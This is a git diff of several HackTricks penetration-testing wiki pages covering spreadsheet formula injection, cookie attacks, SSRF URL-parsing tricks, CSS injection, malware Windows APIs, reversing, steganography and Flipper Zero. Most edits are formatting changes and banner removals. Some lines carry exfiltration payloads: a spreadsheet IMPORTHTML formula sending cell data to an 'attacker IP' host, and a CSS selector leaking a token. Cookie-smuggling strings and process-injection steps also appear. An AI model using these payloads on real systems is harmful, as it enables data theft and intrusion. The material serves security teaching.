* **IMPORTHTML**: Imports data from HTML tables or lists - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Imports a range of cells from another spreadsheet - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Inserts an image into a cell - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX Injection
@ -213,7 +200,7 @@ From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
## Ghostscript Injection
**Check [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)**
**Check** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## References
@ -222,12 +209,6 @@ From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
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***
## Cookie Attributes
Cookies come with several attributes that control their behavior in the user's browser. Here’s a rundown of these attributes in a more passive voice:
@ -41,19 +33,19 @@ A specific URL path that must be present in the requested URL for the `Cookie` h
### Ordering Rules
When two cookies bear the same name, the one chosen for sending is based on:
- The cookie matching the longest path in the requested URL.
- The most recently set cookie if the paths are identical.
* The cookie matching the longest path in the requested URL.
* The most recently set cookie if the paths are identical.
### SameSite
- The `SameSite` attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
- **Strict**: Restricts the cookie from being sent on third-party requests.
- **Lax**: Allows the cookie to be sent with GET requests initiated by third-party websites.
- **None**: Permits the cookie to be sent from any third-party domain.
* The `SameSite` attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
* **Strict**: Restricts the cookie from being sent on third-party requests.
* **Lax**: Allows the cookie to be sent with GET requests initiated by third-party websites.
* **None**: Permits the cookie to be sent from any third-party domain.
Remember, while configuring cookies, understanding these attributes can help ensure they behave as expected across different scenarios.
| **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
@ -99,10 +91,11 @@ The request will **only** send the cookie in an HTTP request only if the request
Cookies prefixed with `__Secure-` are required to be set alongside the `secure` flag from pages that are secured by HTTPS.
For cookies prefixed with `__Host-`, several conditions must be met:
- They must be set with the `secure` flag.
- They must originate from a page secured by HTTPS.
- They are forbidden from specifying a domain, preventing their transmission to subdomains.
- The path for these cookies must be set to `/`.
* They must be set with the `secure` flag.
* They must originate from a page secured by HTTPS.
* They are forbidden from specifying a domain, preventing their transmission to subdomains.
* The path for these cookies must be set to `/`.
It is important to note that cookies prefixed with `__Host-` are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the `__Host-` prefix for all application cookies can be considered a good practice for enhancing security and isolation.
@ -150,8 +143,7 @@ This attack forces a logged-in user to execute unwanted actions on a web applica
### Empty Cookies
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/))
Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:
```js
document.cookie = "a=v1"
@ -183,8 +175,7 @@ This results in `document.cookie` outputting an empty string, indicating permane
#### Cookie Smuggling Due to Parsing Issues
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/))
Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
@ -192,16 +183,14 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
#### Cookie Injection Vulnerabilities
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/))
The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies:
- Undertow expects a new cookie immediately after a quoted value without a semicolon.
- Zope looks for a comma to start parsing the next cookie.
- Python's cookie classes start parsing on a space character.
* Undertow expects a new cookie immediately after a quoted value without a semicolon.
* Zope looks for a comma to start parsing the next cookie.
* Python's cookie classes start parsing on a space character.
This vulnerability is particularly dangerous in web applications relying on cookie-based CSRF protection, as it allows attackers to inject spoofed CSRF-token cookies, potentially bypassing security measures. The issue is exacerbated by Python's handling of duplicate cookie names, where the last occurrence overrides earlier ones. It also raises concerns for `__Secure-` and `__Host-` cookies in insecure contexts and could lead to authorization bypasses when cookies are passed to back-end servers susceptible to spoofing.
### Extra Vulnerable Cookies Checks
#### **Basic checks**
@ -272,14 +261,7 @@ There should be a pattern (with the size of a used block). So, knowing how are a
## References
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
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* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
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@ -9,19 +9,11 @@ Other ways to support HackTricks:
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</details>
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***
### Localhost
```bash
@ -210,9 +202,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### Blackslash-trick
The *backslash-trick* exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.
The _backslash-trick_ exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
### Other Confusions
@ -220,18 +212,11 @@ The *backslash-trick* exploits a difference between the [WHATWG URL Standard](ht
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## References
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
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@ -241,7 +226,7 @@ Other ways to support HackTricks:
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</details>

18
pentesting-web/xs-search/css-injection/css-injection-code.md
View file

@ -9,19 +9,11 @@ Other ways to support HackTricks:
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***
{% code title="victim.html" %}
```html
<!doctype html>
@ -235,12 +227,6 @@ input[value=]{list-style:url(http://localhost:5001/end?token=&)};
```
{% endcode %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
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@ -250,7 +236,7 @@ Other ways to support HackTricks:
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details>

34
radio-hacking/README.md
View file

@ -1,34 +1,2 @@
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
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</details>
# Radio Hacking

54
reversing/common-api-used-in-malware.md
View file

@ -1,4 +1,4 @@
# Common API used in Malware
<details>
@ -9,23 +9,14 @@ Other ways to support HackTricks:
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</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
## Generic
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***
# Generic
## Networking
### Networking
| Raw Sockets | WinAPI Sockets |
| ------------- | -------------- |
@ -38,7 +29,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
| write() | send() |
| shutdown() | WSACleanup() |
## Persistence
### Persistence
| Registry | File | Service |
| ---------------- | ------------- | ---------------------------- |
@ -48,7 +39,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
| RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | |
## Encryption
### Encryption
| Name |
| --------------------- |
@ -59,7 +50,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
| CryptDecrypt() |
| CryptReleaseContext() |
## Anti-Analysis/VM
### Anti-Analysis/VM
| Function Name | Assembly Instructions |
| --------------------------------------------------------- | --------------------- |
@ -70,7 +61,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
| CreateToolhelp32Snapshot \[Check if a process is running] | |
| CreateFileW/A \[Check if a file exist] | |
## Stealth
### Stealth
| Name | |
| ------------------------ | -------------------------------------------------------------------------- |
@ -84,7 +75,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
| QueueUserAPC | |
| CreateProcessInternalA/W | |
## Execution
### Execution
| Function Name |
| ---------------- |
@ -94,7 +85,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
| ResumeThread |
| NtResumeThread |
## Miscellaneous
### Miscellaneous
* GetAsyncKeyState() -- Key logging
* SetWindowsHookEx -- Key logging
@ -107,9 +98,9 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Access the Internet
* FindResource(), LoadResource(), LockResource() -- Access resources of the executable
# Malware Techniques
## Malware Techniques
## DLL Injection
### DLL Injection
Execute an arbitrary DLL inside another process
@ -120,12 +111,12 @@ Execute an arbitrary DLL inside another process
Other functions to use: NTCreateThreadEx, RtlCreateUserThread
## Reflective DLL Injection
### Reflective DLL Injection
Load a malicious DLL without calling normal Windows API calls.\
The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function.
## Thread Hijacking
### Thread Hijacking
Find a thread from a process and make it load a malicious DLL
@ -135,11 +126,11 @@ Find a thread from a process and make it load a malicious DLL
4. Write the path to the malicious DLL inside the victim process: VirtualAllocEx, WriteProcessMemory
5. Resume the thread loading the library: ResumeThread
## PE Injection
### PE Injection
Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there.
## Process Hollowing
### Process Hollowing
The malware will unmap the legitimate code from memory of the process and load a malicious binary
@ -148,7 +139,7 @@ The malware will unmap the legitimate code from memory of the process and load a
3. Write the malicious binary in the process memory: VirtualAllocEc, WriteProcessMemory
4. Set the entrypoint and execute: SetThreadContext, ResumeThread
# Hooking
## Hooking
* The **SSDT** (**System Service Descriptor Table**) points to kernel functions (ntoskrnl.exe) or GUI driver (win32k.sys) so user processes can call these functions.
* A rootkit may modify these pointer to addresses that he controls
@ -157,13 +148,6 @@ The malware will unmap the legitimate code from memory of the process and load a
* **EAT** (**Export Address Table**) Hooks. This hooks can be done from **userland**. The goal is to hook exported functions by DLLs.
* **Inline Hooks**: This type are difficult to achieve. This involve modifying the code of the functions itself. Maybe by putting a jump at the beginning of this.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
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@ -173,9 +157,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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</details>

32
reversing/reversing-tools-basic-methods/README.md
View file

@ -9,19 +9,11 @@ Other ways to support HackTricks:
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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***
## ImGui Based Reversing tools
Software:
@ -47,7 +39,7 @@ Software:
dotPeek is a decompiler that **decompiles and examines multiple formats**, including **libraries** (.dll), **Windows metadata file**s (.winmd), and **executables** (.exe). Once decompiled, an assembly can be saved as a Visual Studio project (.csproj).
The merit here is that if a lost source code requires restoration from a legacy assembly, this action can save time. Further, dotPeek provides handy navigation throughout the decompiled code, making it one of the perfect tools for **Xamarin algorithm analysis.**&#x20;
The merit here is that if a lost source code requires restoration from a legacy assembly, this action can save time. Further, dotPeek provides handy navigation throughout the decompiled code, making it one of the perfect tools for **Xamarin algorithm analysis.**
### [.Net Reflector](https://www.red-gate.com/products/reflector/)
@ -57,7 +49,7 @@ With a comprehensive add-in model and an API that extends the tool to suit your
* Provides insight into the implementation and usage of .NET languages and frameworks
* Finds undocumented and unexposed functionality to get more out of the APIs and technologies used.
* Finds dependencies and different assemblies
* Tracks down the exact location of errors in your code, third-party components, and libraries.&#x20;
* Tracks down the exact location of errors in your code, third-party components, and libraries.
* Debugs into the source of all the .NET code you work with.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
@ -267,15 +259,6 @@ And [install keystone](https://github.com/keystone-engine/keystone/blob/master/d
If you are playing a **CTF, this workaround to find the flag** could be very useful: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
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***
## Rust
To find the **entry point** search the functions by `::main` like in:
@ -435,13 +418,6 @@ So, in this challenge, knowing the values of the buttons, you needed to **press
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
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@ -451,7 +427,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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</details>

94
stego/stego-tricks.md
View file

@ -9,23 +9,17 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
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***
## **Extracting Data from Files**
### **Binwalk**
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
@ -33,28 +27,37 @@ binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
```bash
exiv2 file # Shows the metadata
```
### **File**
Identify the type of file you're dealing with.
### **Strings**
Extracts readable strings from files, using various encoding settings to filter the output.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -68,7 +71,9 @@ strings -e B -n 6 file # 32bit strings (big-endian)
```
### **Comparison (cmp)**
Useful for comparing a modified file with its original version found online.
```bash
cmp original.jpg stego.jpg -b -l
```
@ -76,22 +81,9 @@ cmp original.jpg stego.jpg -b -l
## **Extracting Hidden Data in Text**
### **Hidden Data in Spaces**
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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***
## **Extracting Data from Images**
### **Identifying Image Details with GraphicMagick**
@ -113,13 +105,15 @@ To attempt repair on a damaged image, adding a metadata comment might help:
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
**Commands:**
- `steghide info file` reveals if a file contains hidden data.
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
* `steghide info file` reveals if a file contains hidden data.
* `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
**Bruteforce Attack with Stegcracker:**
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
* To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
```bash
stegcracker <file> [<wordlist>]
@ -130,8 +124,9 @@ stegcracker <file> [<wordlist>]
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
**Commands:**
- `zsteg -a file` applies all detection methods on a file.
- `zsteg -E file` specifies a payload for data extraction.
* `zsteg -a file` applies all detection methods on a file.
* `zsteg -E file` specifies a payload for data extraction.
### **StegoVeritas and Stegsolve**
@ -143,9 +138,9 @@ zsteg specializes in uncovering hidden data in PNG and BMP files. Installation i
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy for Audio and Image Files**
@ -164,30 +159,36 @@ pngcheck stego.png
For further exploration, consider visiting:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
- [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
- [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/)
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
* [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/)
## **Extracting Data from Audios**
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
@ -195,42 +196,39 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer**
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
### **DTMF Tones - Dial Tones**
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
## **Other Techniques**
### **Binary Length SQRT - QR Code**
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
```python
import math
math.sqrt(2500) #50
```
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
### **Braille Translation**
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
## **References**
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
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@ -240,7 +238,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

31
todo/radio-hacking/flipper-zero/README.md
View file

@ -7,38 +7,23 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
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***
With [**Flipper Zero**](https://flipperzero.one/) you can:
* **Listen/Capture/Replay radio frequencies:** [**Sub-GHz**](fz-sub-ghz.md)****
* **Read/Capture/Emulate NFC cards:** [**NFC**](fz-nfc.md)****
* **Read/Capture/Emulate 125kHz tags:** [**125kHz RFID**](fz-125khz-rfid.md)****
* **Read/Capture/Send Infrared signals:** [**Infrared**](fz-infrared.md)****
* **Read/Capture/Emulate iButtons:** [**iButton**](../ibutton.md)****
* **Listen/Capture/Replay radio frequencies:** [**Sub-GHz**](fz-sub-ghz.md)
* **Read/Capture/Emulate NFC cards:** [**NFC**](fz-nfc.md)
* **Read/Capture/Emulate 125kHz tags:** [**125kHz RFID**](fz-125khz-rfid.md)
* **Read/Capture/Send Infrared signals:** [**Infrared**](fz-infrared.md)
* **Read/Capture/Emulate iButtons:** [**iButton**](../ibutton.md)
* **Use is as Bad USB**
* **Use it as security key (U2F)**
* **Play Snake**
**Other Flipper Zero resources in** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero)****
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
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**Other Flipper Zero resources in** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
<details>
@ -47,7 +32,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

23
todo/radio-hacking/flipper-zero/fz-sub-ghz.md
View file

@ -9,19 +9,11 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
